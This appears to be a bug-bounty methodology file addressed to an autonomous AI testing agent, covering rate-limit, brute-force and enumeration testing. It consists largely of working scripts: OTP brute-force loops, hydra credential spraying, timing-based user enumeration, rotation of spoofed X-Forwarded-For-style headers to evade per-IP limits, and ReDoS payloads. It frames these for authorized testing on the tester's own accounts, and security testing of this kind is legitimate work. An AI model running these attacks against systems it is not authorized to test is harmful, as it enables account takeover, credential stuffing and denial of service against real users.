HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration
Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports.
report_countis intentionally0— do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.
Crown Jewel Targets
OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.
Highest-value chains:
- OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on
/verify-otp, full 000000–999999 keyspace reachable - Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
- Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
- Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
- ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS
Autonomous Testing Priority
Work within your turn budget — prioritize signal over volume.
You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.
Strategy:
- Identify the login endpoint and the expected parameter names (username/email, password).
- Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
- After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
- Use form-encoding for traditional login forms, JSON for REST API login endpoints.
What to look for as success:
- Session token or JWT in the response body or Set-Cookie header
- Redirect to authenticated dashboard
- Response body that differs from the failed-login baseline
Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.
CRITICAL: Four rate-limit states — do not collapse them
A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting
skill that only checks for 429/lockout produces false negatives. Classify the
defense BEFORE concluding, by sending a burst of ~50 requests and watching the
full response (status, body, headers, latency, and downstream success):
| State | Signal | Brute still feasible? |
|---|---|---|
| Hard account lockout | account disabled after N fails; later correct creds also fail | No (but lockout itself can be a DoS finding) |
| Soft IP throttle | 429 / increasing latency keyed on source IP only | Yes — bypass via header/IP rotation (Phase 4) |
| CAPTCHA injection | 200 but body switches to a CAPTCHA challenge after N | Maybe — check if the verify endpoint enforces it server-side or if the API path skips it |
| Silent shadow-throttle | 200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become canned | This is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false. |
Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:
bash# Seed: position 500 in the brute set is the REAL OTP for your own test account. # If the loop reaches 500 and the correct code no longer authenticates, # the endpoint is silently throttling/dropping — NOT unprotected. KNOWN_GOOD="123456" # the actual current OTP for YOUR test account for n in $(seq 0 600); do CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n") CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \ -X POST "https://$TARGET/api/verify-otp" \ -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \ -d "{\"otp\":\"$CODE\"}") echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)" done # Three columns to watch: status, time_total, body size. # Rising time_total or a body-size change with status unchanged = shadow throttle.
Step-by-Step Hunting Methodology
Phase 1 — Login Rate Limit Test (classify, don't just count 429s)
bash# Send a burst and log status + latency + body length for EACH attempt. for i in $(seq 1 50); do read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \ -X POST "https://$TARGET/api/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}") echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)" sleep 0.1 done # Then CLASSIFY against the 4-state table above. Watch for: # - status flips to 429 / 403 → soft throttle or lockout # - body grows / CAPTCHA token appears → CAPTCHA injection # - latency climbs while status stays 401 → shadow throttle # - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)
Phase 2 — OTP / 2FA Brute Force
bash# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account). SESSION_COOKIE="pre-auth-session-after-first-factor" # ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ---- # This ONLY proves the endpoint accepts repeated attempts without 429/lockout. # It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b. for CODE in $(seq -f "%06g" 0 100); do RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \ -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \ -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}") echo "$CODE: $RESP" [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; } done # 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle # seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient. # ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ---- # Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability: # - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace. # - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact. # - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window. # Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the # code does NOT rotate / reset is unlimited (the Instagram-2019 class). # Report the math; do NOT actually exhaust 10^6 against a third party.
Phase 3 — Username / Email Enumeration (string AND status AND timing)
bashVALID_USER="known-user@$TARGET" INVALID_USER="definitely-not-real-xyz123@$TARGET" # String + status diff for U in "$VALID_USER" "$INVALID_USER"; do curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \ -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \ -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}" done diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \ -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \ <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \ -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}") # Different message/status/len → enumeration. # Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta). # Sample MANY times and compare medians — a single request is noise, not signal. echo "VALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \ -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \ -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}' echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \ -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \ -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}' # A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding. # Reset + registration enumeration curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER" | grep -i "sent\|exist\|not found\|registered" curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered" curl -s -X POST "https://$TARGET/api/register" -d "email=$VALID_USER" | grep -i "exist\|taken\|already"
Phase 3b — Unthrottled registration (mass account creation)
An unrate-limited signup endpoint is an abuse finding on its own, not just an enumeration oracle: burst */signup/*/register (rotate email + source per request) and confirm N accounts are actually created with no 429/CAPTCHA/lockout → automated mass-account creation (spam, promo/referral abuse, resource exhaustion). Low–Medium standalone; higher when it chains to a paid/limited resource. Disclosed: reports/2915502.
Phase 4 — IP / Source Rotation Bypass
bash# Per-IP limits are bypassable when the app trusts a client-controlled source header. # Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit. HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \ "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" ) for i in $(seq 1 60); do RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)" ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \ -H "Content-Type: application/json" \ -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}") echo "Attempt $i (IP $RAND_IP): $RESP" done # Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP # AFTER a spoofed one — some parsers take first, some last. # CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.
Phase 5 — Token Entropy (measure it, don't eyeball it)
bash# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy. for i in $(seq 1 20); do curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com" # Extract token from the email/link and append to tokens.txt sleep 2 done # 1) Shannon entropy / compressibility — low entropy = predictable: ent tokens.txt 2>/dev/null || \ python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\ print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))" # 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID): while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt # 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens: sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}' # constant/small delta = counter-based # 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset # response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy. # < ~64 effective bits on a security token is a finding; the brute-window math follows.
Phase 6 — ReDoS Detection
bash# Hit input-validation / search endpoints with catastrophic-backtracking payloads. # Classic evil-regex triggers (nested quantifier / overlapping alternation): for LEN in 5 10 15 20 25 30; do INPUT=$(python3 -c "print('a'*$LEN + '!')") # for (a+)+$ / (a|a)*$ style regex T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT") echo "len=$LEN -> ${T}s" done # Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N # DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug. # Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the # blow-up is regex-driven, not size-driven.
Automation
bash# ---- ffuf: OTP brute ---- # PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq. ffuf -u "https://$TARGET/api/verify-otp" -X POST \ -H "Content-Type: application/json" -H "Cookie: session=SESSION" \ -d '{"otp": "FUZZ"}' \ -w <(seq -f "%06g" 0 100) \ -mc all -ac \ -rate 50 # cap throughput so YOU can read the rate-limit response, not DoS the target # FULL keyspace (authorized + your own account only) — generate all 10^6 codes: # seq -f "%06g" 0 999999 > /tmp/otp_full.txt (then -w /tmp/otp_full.txt) # Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of # filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only. # Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing. # ---- hydra: login spray ---- hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \ http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4 # ---- nuclei: rate-limit / default-cred templates ---- nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical
Chain Table
| Finding | Chain to | Impact |
|---|---|---|
| No effective rate limit on OTP (full 10^6 reachable) | MFA bypass → ATO | Critical |
| Password-reset code brute + IP rotation | Reset → ATO (Instagram-2019 class) | Critical |
| No rate limit on login + enumeration | Credential stuffing with breach corpus | High |
| IP bypass via X-Forwarded-For et al. | Every per-IP limit on the app defeated | High |
| Predictable / low-entropy reset token | Token guess within validity window → ATO | High |
| ReDoS on a public input field | Single-request CPU exhaustion → DoS | Medium–High |
| Hard lockout triggerable by attacker | Targeted account DoS (lock victim out) | Medium |
Validation — false-positive discipline
Before writing the report, each must hold:
- OTP/login "no rate limit": confirmed against ALL FOUR states — not just absence of
429. Shadow-throttle seed test passed (the known-good value still authenticates under burst load). Latency and body-size were monitored, not only status code. - Full-keyspace claim: severity is justified by the reachability math (throughput × code-lifetime vs 10^6), not by a 101-code probe. State the numbers in the report.
- Enumeration: difference is reproducible across ≥20 samples and is a server-state difference (valid vs invalid user), not a server-policy artifact (e.g. a generic "if this email exists we sent…" message is NOT enumeration). For timing, compare medians of many samples, never single requests.
- IP-rotation bypass: proven by toggling rotation off and showing the
429returns. The delta IS the proof; one fast run alone is not. - Token entropy: backed by an actual measurement (Burp Sequencer effective-bits,
ent, or a demonstrated counter/timestamp structure), not "looks short". - ReDoS: super-linear (doubling) latency growth with a benign-control comparison; linear ≠ ReDoS.
- Scope/impact: did you reach a real outcome (authenticated session, leaked account list, DoS)? A rate-limit gap with no reachable impact is informational, not Medium.
Severity:
- Effective brute of OTP/MFA/reset-code → demonstrated ATO path: Critical
- No login rate limit + working credential-stuffing/IP-bypass: High
- Predictable security token (measured low entropy): High
- Username/email enumeration alone: Low–Medium
- ReDoS with reproducible meaningful server lag: Medium–High
- Attacker-triggerable hard lockout (account DoS): Medium
